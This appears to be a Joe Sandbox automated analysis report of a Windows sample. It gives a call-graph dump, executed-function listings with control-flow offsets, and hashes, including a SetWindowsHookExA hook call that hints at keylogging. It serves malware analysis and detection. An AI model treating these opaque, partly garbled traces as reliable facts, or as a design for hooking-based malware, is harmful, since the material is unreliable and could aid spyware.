2b6f7808 85325->85475 85326 2b6f0f26 85326->85324 85479 2b6fb183 85326->85479 85486 2b6fafe8 85326->85486 85333 2b6f0e38 85332->85333 85334 2b6f1241 85333->85334 85336 2b6f7e0c 2 API calls 85333->85336 85337 2b6f7a28 2 API calls 85333->85337 85338 2b6f7808 LdrInitializeThunk 85333->85338 85334->85290 85335 2b6f0f26 85335->85334 85339 2b6fafe8 4 API calls 85335->85339 85340 2b6fb183 4 API calls 85335->85340 85336->85335 85337->85335 85338->85335 85339->85335 85340->85335 85342 2b7065e2 85341->85342 85343 2b7066f4 85342->85343 85344 2b6f7e0c 2 API calls 85342->85344 85345 2b6f7a28 2 API calls 85342->85345 85346 2b6f7808 LdrInitializeThunk 85342->85346 85343->85291 85344->85343 85345->85343 85346->85343 85348 2b7065c0 85347->85348 85349 2b7066f4 85348->85349 85350 2b6f7e0c 2 API calls 85348->85350 85351 2b6f7a28 2 API calls 85348->85351 85352 2b6f7808 LdrInitializeThunk 85348->85352 85349->85291 85350->85349 85351->85349 85352->85349 85354 2b77543b 85353->85354 85355 2b77552d 85354->85355 85356 2b6f7e0c 2 API calls 85354->85356 85357 2b6f7a28 2 API calls 85354->85357 85358 2b6f7808 LdrInitializeThunk 85354->85358 85355->85292 85356->85355 85357->85355 85358->85355 85360 2b775336 85359->85360 85361 2b77552d 85360->85361 85362 2b6f7e0c 2 API calls 85360->85362 85363 2b6f7a28 2 API calls 85360->85363 85364 2b6f7808 LdrInitializeThunk 85360->85364 85361->85292 85362->85361 85363->85361 85364->85361 85366 2b7753d4 85365->85366 85367 2b77552d 85366->85367 85368 2b6f7e0c 2 API calls 85366->85368 85369 2b6f7a28 2 API calls 85366->85369 85370 2b6f7808 LdrInitializeThunk 85366->85370 85367->85292 85368->85367 85369->85367 85370->85367 85372 2b7753f4 85371->85372 85373 2b77552d 85372->85373 85374 2b6f7e0c 2 API calls 85372->85374 85375 2b6f7a28 2 API calls 85372->85375 85376 2b6f7808 LdrInitializeThunk 85372->85376 85373->85292 85374->85373 85375->85373 85376->85373 85378 2b7b0eba 85377->85378 85379 2b7b0f8d 85378->85379 85380 2b6f7e0c 2 API calls 85378->85380 85381 2b6f7a28 2 API calls 85378->85381 85382 2b6f7808 LdrInitializeThunk 85378->85382 85379->85293 85380->85379 85381->85379 85382->85379 85384 2b7b0eba 85383->85384 85385 2b7b0f8d 85384->85385 85386 2b6f7e0c 2 API calls 85384->85386 85387 2b6f7a28 2 API calls 85384->85387 85388 2b6f7808 LdrInitializeThunk 85384->85388 85385->85293 85386->85385 85387->85385 85388->85385 85390 2b7b135c 85389->85390 85391 2b7b1427 85390->85391 85392 2b6f7e0c 2 API calls 85390->85392 85393 2b6f7a28 2 API calls 85390->85393 85394 2b6f7808 LdrInitializeThunk 85390->85394 85391->85294 85392->85391 85393->85391 85394->85391 85396 2b7b137c 85395->85396 85397 2b7b1427 85396->85397 85398 2b6f7e0c 2 API calls 85396->85398 85399 2b6f7a28 2 API calls 85396->85399 85400 2b6f7808 LdrInitializeThunk 85396->85400 85397->85294 85398->85397 85399->85397 85400->85397 85402 2b7b73ac 85401->85402 85403 2b7b7457 85402->85403 85404 2b6f7e0c 2 API calls 85402->85404 85405 2b6f7a28 2 API calls 85402->85405 85406 2b6f7808 LdrInitializeThunk 85402->85406 85403->85295 85404->85403 85405->85403 85406->85403 85409 2b7b7388 85407->85409 85408 2b7b7457 85408->85295 85409->85408 85410 2b6f7e0c 2 API calls 85409->85410 85411 2b6f7a28 2 API calls 85409->85411 85412 2b6f7808 LdrInitializeThunk 85409->85412 85410->85408 85411->85408 85412->85408 85414 2b7becfa 85413->85414 85415 2b7bedaa 85414->85415 85416 2b6f7e0c 2 API calls 85414->85416 85417 2b6f7a28 2 API calls 85414->85417 85418 2b6f7808 LdrInitializeThunk 85414->85418 85415->85296 85416->85415 85417->85415 85418->85415 85420 2b7becd0 85419->85420 85421 2b7bedaa 85420->85421 85422 2b6f7e0c 2 API calls 85420->85422 85423 2b6f7a28 2 API calls 85420->85423 85424 2b6f7808 LdrInitializeThunk 85420->85424 85421->85296 85422->85421 85423->85421 85424->85421 85426 2b7c677c 85425->85426 85427 27a8d238 85426->85427 85428 2b6f7e0c 2 API calls 85426->85428 85429 2b6f7a28 2 API calls 85426->85429 85430 2b6f7808 LdrInitializeThunk 85426->85430 85431 2b7cc780 85427->85431 85438 2b7cc790 85427->85438 85444 2b7cc787 85427->85444 85428->85427 85429->85427 85430->85427 85432 2b7cc784 85431->85432 85433 2b7cc7af 85431->85433 85432->85298 85434 2b7cc857 85433->85434 85435 2b6f7e0c 2 API calls 85433->85435 85436 2b6f7a28 2 API calls 85433->85436 85437 2b6f7808 LdrInitializeThunk 85433->85437 85434->85298 85435->85434 85436->85434 85437->85434 85439 2b7cc7ac 85438->85439 85440 2b7cc857 85439->85440 85441 2b6f7e0c 2 API calls 85439->85441 85442 2b6f7a28 2 API calls 85439->85442 85443 2b6f7808 LdrInitializeThunk 85439->85443 85440->85298 85441->85440 85442->85440 85443->85440 85445 2b7cc78c 85444->85445 85446 2b7cc857 85445->85446 85447 2b6f7e0c 2 API calls 85445->85447 85448 2b6f7a28 2 API calls 85445->85448 85449 2b6f7808 LdrInitializeThunk 85445->85449 85446->85298 85447->85446 85448->85446 85449->85446 85451 2b7d351c 85450->85451 85452 2b7d3547 85450->85452 85451->85299 85453 2b7d387e 85452->85453 85509 2b7d5a77 85452->85509 85453->85299 85456 2b7d3544 85455->85456 85457 2b7d387e 85456->85457 85458 2b7d5a77 5 API calls 85456->85458 85457->85299 85458->85457 85460 2b7d3564 85459->85460 85461 2b7d387e 85460->85461 85462 2b7d5a77 5 API calls 85460->85462 85461->85299 85462->85461 85467 2b6f7cc3 85463->85467 85464 2b6f7e04 LdrInitializeThunk 85466 2b6f7f61 85464->85466 85466->85326 85467->85464 85468 2b6f7808 LdrInitializeThunk 85467->85468 85468->85467 85474 2b6f7a59 85469->85474 85470 2b6f7bb9 85470->85326 85471 2b6f7e04 LdrInitializeThunk 85471->85470 85473 2b6f7808 LdrInitializeThunk 85473->85474 85474->85470 85474->85471 85474->85473 85476 2b6f781f 85475->85476 85477 2b6f781a 85475->85477 85476->85477 85478 2b6f7f49 LdrInitializeThunk 85476->85478 85477->85326 85478->85477 85481 2b6fb047 85479->85481 85480 2b6fb12b 85480->85326 85481->85480 85493 2b6fb43c 85481->85493 85497 2b6fb2a0 85481->85497 85501 2b6fb290 85481->85501 85505 2b6fb3dc 85481->85505 85487 2b6fb00f 85486->85487 85488 2b6fb12b 85487->85488 85489 2b6fb3dc LdrInitializeThunk 85487->85489 85490 2b6fb43c LdrInitializeThunk 85487->85490 85491 2b6fb2a0 LdrInitializeThunk 85487->85491 85492 2b6fb290 LdrInitializeThunk 85487->85492 85488->85326 85489->85488 85490->85488 85491->85488 85492->85488 85494 2b6fb3bb 85493->85494 85496 2b6fb2fe 85493->85496 85495 2b6fb2f1 LdrInitializeThunk 85494->85495 85494->85496 85495->85496 85496->85480 85498 2b6fb2c8 LdrInitializeThunk 85497->85498 85500 2b6fb2fe 85498->85500 85500->85480 85502 2b6fb293 85501->85502 85503 2b6fb2f1 LdrInitializeThunk 85502->85503 85504 2b6fb2fe 85502->85504 85503->85504 85504->85480 85506 2b6fb3bb 85505->85506 85507 2b6fb2f1 LdrInitializeThunk 85506->85507 85508 2b6fb2fe 85506->85508 85507->85508 85508->85480 85510 2b7d5a9c 85509->85510 85517 2b7d5b63 85510->85517 85521 2b7d5b68 85510->85521 85511 2b7d5abb 85525 2b7df541 85511->85525 85529 2b7df550 85511->85529 85514 2b7d5ae0 85514->85453 85518 2b7d5b77 85517->85518 85533 2b7d5f80 85517->85533 85537 2b7d5f90 85517->85537 85518->85511 85522 2b7d5b77 85521->85522 85523 2b7d5f90 4 API calls 85521->85523 85524 2b7d5f80 4 API calls 85521->85524 85522->85511 85523->85522 85524->85522 85527 2b7df550 85525->85527 85526 2b7df5cc 85526->85526 85527->85526 85602 2b7ddfdc 85527->85602 85531 2b7df57d 85529->85531 85530 2b7df5cc 85530->85530 85531->85530 85532 2b7ddfdc 5 API calls 85531->85532 85532->85530 85535 2b7d5f90 85533->85535 85534 2b7d6049 85534->85534 85535->85534 85541 2b7d5ca4 85535->85541 85540 2b7d5fbe 85537->85540 85538 2b7d6049 85538->85538 85539 2b7d5ca4 4 API calls 85539->85538 85540->85538 85540->85539 85543 2b7d5caf 85541->85543 85542 2b7d90b8 85542->85534 85543->85542 85547 2b7d8f20 85543->85547 85545 2b7d907f 85545->85542 85552 2b7d8c40 85545->85552 85548 2b7d8f2b 85547->85548 85549 2b7d9149 85548->85549 85555 2b7d9ef0 85548->85555 85561 2b7d9ee1 85548->85561 85549->85545 85553 2b7df450 SetTimer 85552->85553 85554 2b7df4fd 85553->85554 85554->85542 85556 2b7d9f1b 85555->85556 85567 2b7da4b7 85556->85567 85557 2b7d9f9e 85558 2b7d9b98 GetModuleHandleW 85557->85558 85559 2b7d9fca 85557->85559 85558->85559 85562 2b7d9ef0 85561->85562 85566 2b7da4b7 3 API calls 85562->85566 85563 2b7d9f9e 85564 2b7d9fca 85563->85564 85565 2b7d9b98 GetModuleHandleW 85563->85565 85564->85564 85565->85564 85566->85563 85568 2b7da4ed 85567->85568 85569 2b7da56e 85568->85569 85572 2b7da620 85568->85572 85585 2b7da630 85568->85585 85573 2b7da630 85572->85573 85575 2b7da669 85573->85575 85598 2b7d9b98 85573->85598 85576 2b7d9b98 GetModuleHandleW 85575->85576 85584 2b7da825 85575->85584 85578 2b7da7ab 85576->85578 85577 2b7da880 85577->85569 85578->85577 85581 2b7d9b98 GetModuleHandleW 85578->85581 85578->85584 85579 2b7da9c5 GetModuleHandleW 85580 2b7daa04 85579->85580 85580->85569 85582 2b7da7f9 85581->85582 85583 2b7d9b98 GetModuleHandleW 85582->85583 85582->85584 85583->85584 85584->85577 85584->85579 85586 2b7da645 85585->85586 85587 2b7d9b98 GetModuleHandleW 85586->85587 85588 2b7da669 85586->85588 85587->85588 85589 2b7d9b98 GetModuleHandleW 85588->85589 85597 2b7da825 85588->85597 85591 2b7da7ab 85589->85591 85590 2b7da880 85590->85569 85591->85590 85594 2b7d9b98 GetModuleHandleW 85591->85594 85591->85597 85592 2b7da9c5 GetModuleHandleW 85593 2b7daa04 85592->85593 85593->85569 85595 2b7da7f9 85594->85595 85596 2b7d9b98 GetModuleHandleW 85595->85596 85595->85597 85596->85597 85597->85590 85597->85592 85599 2b7da960 GetModuleHandleW 85598->85599 85601 2b7daa04 85599->85601 85601->85575 85603 2b7ddfe7 85602->85603 85605 2b7df72c 85603->85605 85608 2b7ddfa4 85603->85608 85606 2b7d5ca4 4 API calls 85605->85606 85607 2b7df735 85606->85607 85607->85526 85609 2b7ddfaf 85608->85609 85612 2b7ddffc 85609->85612 85611 2b7df785 85611->85603 85613 2b7de007 85612->85613 85614 2b7df91b 85613->85614 85615 2b7df8f1 GetCurrentThreadId 85613->85615 85614->85611 85615->85614 85616 2bfa0630 85617 2bfa0678 SetWindowsHookExA 85616->85617 85619 2bfa06f3 85617->85619 85747 2bfada60 DispatchMessageW 85748 2bfadaed 85747->85748 85620 2b7db1b0 85621 2b7db248 CreateWindowExW 85620->85621 85623 2b7db386 85621->85623 86054 2b7de300 DuplicateHandle 86055 2b7de3dd 86054->86055 86056 2b6f8550 86057 2b6f857d 86056->86057 86058 2b6f7808 LdrInitializeThunk 86057->86058 86059 2b6fa45f 86057->86059 86060 2b6f8886 86057->86060 86058->86060 86060->86059 86061 2b6f7808 LdrInitializeThunk 86060->86061 86061->86060

                                                                                                                                                                      Executed Functions

                                                                                                                                                                      Function 27A85FA8 Relevance: 5.3, Strings: 4, Instructions: 329COMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 601 27a85fa8-27a85fcb 602 27a85fcd-27a85fd3 601->602 603 27a85fd6-27a85ff6 601->603 602->603 606 27a85ff8 603->606 607 27a85ffd-27a86004 603->607 608 27a8638c-27a86395 606->608 609 27a86006-27a86011 607->609 610 27a8639d-27a863ae 609->610 611 27a86017-27a8602a 609->611 614 27a8602c-27a8603a 611->614 615 27a86040-27a8605b 611->615 614->615 618 27a86314-27a8631b 614->618 619 27a8605d-27a86063 615->619 620 27a8607f-27a86082 615->620 618->608 623 27a8631d-27a8631f 618->623 621 27a8606c-27a8606f 619->621 622 27a86065 619->622 624 27a86088-27a8608b 620->624 625 27a861dc-27a861e2 620->625 626 27a86071-27a86074 621->626 627 27a860a2-27a860a8 621->627 622->621 622->625 622->627 630 27a862ce-27a862d1 622->630 628 27a8632e-27a86334 623->628 629 27a86321-27a86326 623->629 624->625 631 27a86091-27a86097 624->631 625->630 632 27a861e8-27a861ed 625->632 638 27a8607a 626->638 639 27a8610e-27a86114 626->639 634 27a860aa-27a860ac 627->634 635 27a860ae-27a860b0 627->635 628->610 640 27a86336-27a8633b 628->640 629->628 636 27a86398 630->636 637 27a862d7-27a862dd 630->637 631->625 633 27a8609d 631->633 632->630 633->630 641 27a860ba-27a860c3 634->641 635->641 636->610 642 27a862df-27a862e7 637->642 643 27a86302-27a86306 637->643 638->630 639->630 644 27a8611a-27a86120 639->644 645 27a8633d-27a86342 640->645 646 27a86380-27a86383 640->646 651 27a860c5-27a860d0 641->651 652 27a860d6-27a860fe 641->652 642->610 650 27a862ed-27a862fc 642->650 643->618 653 27a86308-27a8630e 643->653 648 27a86122-27a86124 644->648 649 27a86126-27a86128 644->649 645->636 647 27a86344 645->647 646->636 654 27a86385-27a8638a 646->654 655 27a8634b-27a86350 647->655 656 27a86132-27a86149 648->656 649->656 650->615 650->643 651->630 651->652 674 27a861f2-27a86228 652->674 675 27a86104-27a86109 652->675 653->609 653->618 654->608 654->623 657 27a86372-27a86374 655->657 658 27a86352-27a86354 655->658 667 27a8614b-27a86164 656->667 668 27a86174-27a8619b 656->668 657->636 664 27a86376-27a86379 657->664 662 27a86363-27a86369 658->662 663 27a86356-27a8635b 658->663 662->610 666 27a8636b-27a86370 662->666 663->662 664->646 666->657 670 27a86346-27a86349 666->670 667->674 680 27a8616a-27a8616f 667->680 668->636 679 27a861a1-27a861a4 668->679 670->636 670->655 681 27a8622a-27a8622e 674->681 682 27a86235-27a8623d 674->682 675->674 679->636 683 27a861aa-27a861d3 679->683 680->674 684 27a8624d-27a86251 681->684 685 27a86230-27a86233 681->685 682->636 686 27a86243-27a86248 682->686 683->674 698 27a861d5-27a861da 683->698 687 27a86270-27a86274 684->687 688 27a86253-27a86259 684->688 685->682 685->684 686->630 691 27a8627e-27a8629d call 27a86580 687->691 692 27a86276-27a8627c 687->692 688->687 690 27a8625b-27a86263 688->690 690->636 693 27a86269-27a8626e 690->693 695 27a862a3-27a862a7 691->695 692->691 692->695 693->630 695->630 696 27a862a9-27a862c5 695->696 696->630 698->674
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: (o^q$(o^q$,bq$,bq
                                                                                                                                                                      • API String ID: 0-879173519
                                                                                                                                                                      • Opcode ID: 345b5dac16e909de4a6bdf4d01fc869d1f10795fb305250766dd27f855f2e451
                                                                                                                                                                      • Instruction ID: ee6181b9c957d3f774354ee4702e6233a0f336dfe8016294544fc8bb77f40a29
                                                                                                                                                                      • Opcode Fuzzy Hash: 345b5dac16e909de4a6bdf4d01fc869d1f10795fb305250766dd27f855f2e451
                                                                                                                                                                      • Instruction Fuzzy Hash: 30D14B70A00219CFEB04CFADD984A9DBBF2FF89321F148565E825AB262D731E941CF51
                                                                                                                                                                      Function 2BFACCB9 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 329COMMON
                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                      • Executed
                                                                                                                                                                      • Not Executed
                                                                                                                                                                      control_flow_graph 1329 2bfaccb9-2bfaccf0 1331 2bfad121 1329->1331 1332 2bfaccf6-2bfacd0a 1329->1332 1335 2bfad126-2bfad13c 1331->1335 1333 2bfacd39-2bfacd58 1332->1333 1334 2bfacd0c-2bfacd36 1332->1334 1341 2bfacd5a-2bfacd60 1333->1341 1342 2bfacd70-2bfacd72 1333->1342 1334->1333 1346 2bfacd62 1341->1346 1347 2bfacd64-2bfacd66 1341->1347 1343 2bfacd91-2bfacd9a 1342->1343 1344 2bfacd74-2bfacd8c 1342->1344 1348 2bfacda2-2bfacda9 1343->1348 1344->1335 1346->1342 1347->1342 1349 2bfacdab-2bfacdb1 1348->1349 1350 2bfacdb3-2bfacdba 1348->1350 1351 2bfacdc7-2bfacde4 call 2bfab740 1349->1351 1352 2bfacdbc-2bfacdc2 1350->1352 1353 2bfacdc4 1350->1353 1356 2bfacdea-2bfacdf1 1351->1356 1357 2bfacf39-2bfacf3d 1351->1357 1352->1351 1353->1351 1356->1331 1360 2bfacdf7-2bface34 1356->1360 1358 2bfad10c-2bfad11f 1357->1358 1359 2bfacf43-2bfacf47 1357->1359 1358->1335 1361 2bfacf49-2bfacf5c 1359->1361 1362 2bfacf61-2bfacf6a 1359->1362 1366 2bface3a-2bface3f 1360->1366 1367 2bfad102-2bfad106 1360->1367 1361->1335 1364 2bfacf99-2bfacfa0 1362->1364 1365 2bfacf6c-2bfacf96 1362->1365 1368 2bfad03f-2bfad054 1364->1368 1369 2bfacfa6-2bfacfad 1364->1369 1365->1364 1372 2bface71-2bface86 call 2bfab764 1366->1372 1373 2bface41-2bface4f call 2bfab74c 1366->1373 1367->1348 1367->1358 1368->1367 1383 2bfad05a-2bfad05c 1368->1383 1370 2bfacfaf-2bfacfd9 1369->1370 1371 2bfacfdc-2bfacffe 1369->1371 1370->1371 1371->1368 1409 2bfad000-2bfad00a 1371->1409 1381 2bface8b-2bface8f 1372->1381 1373->1372 1384 2bface51-2bface6f call 2bfab758 1373->1384 1385 2bfacf00-2bfacf0d 1381->1385 1386 2bface91-2bfacea3 call 2bfab770 1381->1386 1387 2bfad0a9-2bfad0c6 call 2bfab740 1383->1387 1388 2bfad05e-2bfad097 1383->1388 1384->1381 1385->1367 1403 2bfacf13-2bfacf1d call 2bfab780 1385->1403 1411 2bfacee3-2bfacefb 1386->1411 1412 2bfacea5-2bfaced5 1386->1412 1387->1367 1402 2bfad0c8-2bfad0f4 WaitMessage 1387->1402 1399 2bfad099-2bfad09f 1388->1399 1400 2bfad0a0-2bfad0a7 1388->1400 1399->1400 1400->1367 1406 2bfad0fb 1402->1406 1407 2bfad0f6 1402->1407 1416 2bfacf1f-2bfacf22 call 2bfab78c 1403->1416 1417 2bfacf2c-2bfacf34 call 2bfac7ec 1403->1417 1406->1367 1407->1406 1418 2bfad00c-2bfad012 1409->1418 1419 2bfad022-2bfad03d 1409->1419 1411->1335 1426 2bfacedc 1412->1426 1427 2bfaced7 1412->1427 1428 2bfacf27 1416->1428 1417->1367 1423 2bfad016-2bfad018 1418->1423 1424 2bfad014 1418->1424 1419->1368 1419->1409 1423->1419 1424->1419 1426->1411 1427->1426 1428->1367
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2976268913.000000002BFA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2BFA0000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_2bfa0000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: |9+
                                                                                                                                                                      • API String ID: 0-3705304856
                                                                                                                                                                      • Opcode ID: 8622e15a1a7e17bef55bf04ffc0fab5c91ed0cadaf7c8c2b6aa604243e1e961d
                                                                                                                                                                      • Instruction ID: fac1de30c082df38120aea1e07b63d3246eb3d4370e3595b4196fbc26e40c6f1
                                                                                                                                                                      • Opcode Fuzzy Hash: 8622e15a1a7e17bef55bf04ffc0fab5c91ed0cadaf7c8c2b6aa604243e1e961d
                                                                                                                                                                      • Instruction Fuzzy Hash: 5CD16B36A00209DFDF08DFA9C984B9DBBF2BF44304F15C568E409AB2A5DB75E985CB40
                                                                                                                                                                      Function 27A88F18 Relevance: 3.4, Strings: 2, Instructions: 897COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: (o^q$4'^q
                                                                                                                                                                      • API String ID: 0-273632683
                                                                                                                                                                      • Opcode ID: 5b96dbde9aea463cb5658e3e86113ff76f9924343fdb90494415d131fd995979
                                                                                                                                                                      • Instruction ID: 446ca717ab0baa28d18f92030380aa937d2c7f8643b0af82b94e96f0f6180e0c
                                                                                                                                                                      • Opcode Fuzzy Hash: 5b96dbde9aea463cb5658e3e86113ff76f9924343fdb90494415d131fd995979
                                                                                                                                                                      • Instruction Fuzzy Hash: 63828070A00209DFCB05CFA8C588A9EBBF6FF88320F158559E925DB262D735ED91CB51
                                                                                                                                                                      Function 27A8B1DF Relevance: 2.7, Strings: 2, Instructions: 191COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: PH^q$PH^q
                                                                                                                                                                      • API String ID: 0-1598597984
                                                                                                                                                                      • Opcode ID: 0195231b599202e620a84c1ef2c8289643bd26d374c8ee3782ec68ec3413af32
                                                                                                                                                                      • Instruction ID: 4d49f68aa256784f933a4c40f8912523c09018e7922435fe60ee8c598ba9b718
                                                                                                                                                                      • Opcode Fuzzy Hash: 0195231b599202e620a84c1ef2c8289643bd26d374c8ee3782ec68ec3413af32
                                                                                                                                                                      • Instruction Fuzzy Hash: D8819174E01218CFDB18CFAAD984A9DBBF2BF89310F149069E418AB265DB349985CF51
                                                                                                                                                                      Function 27A8B7A0 Relevance: 2.7, Strings: 2, Instructions: 189COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: PH^q$PH^q
                                                                                                                                                                      • API String ID: 0-1598597984
                                                                                                                                                                      • Opcode ID: 7066ab20a694d9e30bed8d2739fbeb1ee339be2e2784e2a4f38eba230c6d3f15
                                                                                                                                                                      • Instruction ID: 6bc750bc0bdfda837d1c01c591c81dbf1e21779de9968c6cc62b60177669dbfe
                                                                                                                                                                      • Opcode Fuzzy Hash: 7066ab20a694d9e30bed8d2739fbeb1ee339be2e2784e2a4f38eba230c6d3f15
                                                                                                                                                                      • Instruction Fuzzy Hash: 29819174E01218CFDB14CFAAD994A9DBBF2BF88310F14D069E418AB365DB34A985CF51
                                                                                                                                                                      Function 27A8AF00 Relevance: 2.7, Strings: 2, Instructions: 188COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: PH^q$PH^q
                                                                                                                                                                      • API String ID: 0-1598597984
                                                                                                                                                                      • Opcode ID: 8d8b5073d7d3226c1dc573344e071edef61c55afd7890ba4cf50d49c3b5d3b06
                                                                                                                                                                      • Instruction ID: 13cb9b873c4abf77a2c0dac9d3086296ff45ba863993d92c6d580017c7fb6bff
                                                                                                                                                                      • Opcode Fuzzy Hash: 8d8b5073d7d3226c1dc573344e071edef61c55afd7890ba4cf50d49c3b5d3b06
                                                                                                                                                                      • Instruction Fuzzy Hash: E381B574E01218CFDB14CFAAC984A9DBBF2BF89310F14D069E818AB365DB359985CF50
                                                                                                                                                                      Function 27A8B4C0 Relevance: 2.7, Strings: 2, Instructions: 186COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: PH^q$PH^q
                                                                                                                                                                      • API String ID: 0-1598597984
                                                                                                                                                                      • Opcode ID: b5dfd6adaf4783ace17579352f727e1b09fc3c2ddbbdddaf01c6f133797beac9
                                                                                                                                                                      • Instruction ID: 5557df82da6729842f3c28317cd497cdc4fecc7f17614c9a88bcf33510b922c1
                                                                                                                                                                      • Opcode Fuzzy Hash: b5dfd6adaf4783ace17579352f727e1b09fc3c2ddbbdddaf01c6f133797beac9
                                                                                                                                                                      • Instruction Fuzzy Hash: 3B81B274E01218CFDB18CFAAD994A9DBBF2BF88310F14D069E419AB365DB349985CF11
                                                                                                                                                                      Function 27A841EA Relevance: 2.7, Strings: 2, Instructions: 186COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2966177544.0000000027A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 27A80000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_27a80000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: PH^q$PH^q
                                                                                                                                                                      • API String ID: 0-1598597984
                                                                                                                                                                      • Opcode ID: 8c4eb04897d0d62f0cfd15328dfb8a72ef3b6b2b05a0d293bec3e26bf0a166f5
                                                                                                                                                                      • Instruction ID: 10c152fffd8e837f38db5836eb9df26a5be7b7ca0d2953cde0546f44242818cf
                                                                                                                                                                      • Opcode Fuzzy Hash: 8c4eb04897d0d62f0cfd15328dfb8a72ef3b6b2b05a0d293bec3e26bf0a166f5
                                                                                                                                                                      • Instruction Fuzzy Hash: 42819574E00658CFDB08DFAAD994A9DBBF2FF89310F148069E419AB365DB349945CF10
                                                                                                                                                                      Function 2B6F7808 Relevance: 2.0, APIs: 1, Instructions: 528COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2975158833.000000002B6F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2B6F0000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_2b6f0000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID:
                                                                                                                                                                      • Opcode ID: f398950cf784537f41d6eb50655dec14e75cbe7f57caae0e1516c5737a9ac020
                                                                                                                                                                      • Instruction ID: 46b96e1fcf83f30299ba1c9e939b0075be101270827bc0c65e53bf9bfe3b43c0
                                                                                                                                                                      • Opcode Fuzzy Hash: f398950cf784537f41d6eb50655dec14e75cbe7f57caae0e1516c5737a9ac020
                                                                                                                                                                      • Instruction Fuzzy Hash: 2E224AB0E01219CFCB14DFA9C990BADBBB2BF88304F1085A9D519AB355DB349E85CF51
                                                                                                                                                                      Function 2BFA0628 Relevance: 1.6, APIs: 1, Instructions: 105COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SetWindowsHookExA.USER32(?,?,?,?), ref: 2BFA06E1
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000007.00000002.2976268913.000000002BFA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2BFA0000, based on PE: false
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_7_2_2bfa0000_nhpoymuP.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: HookWindows
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2559412058-0
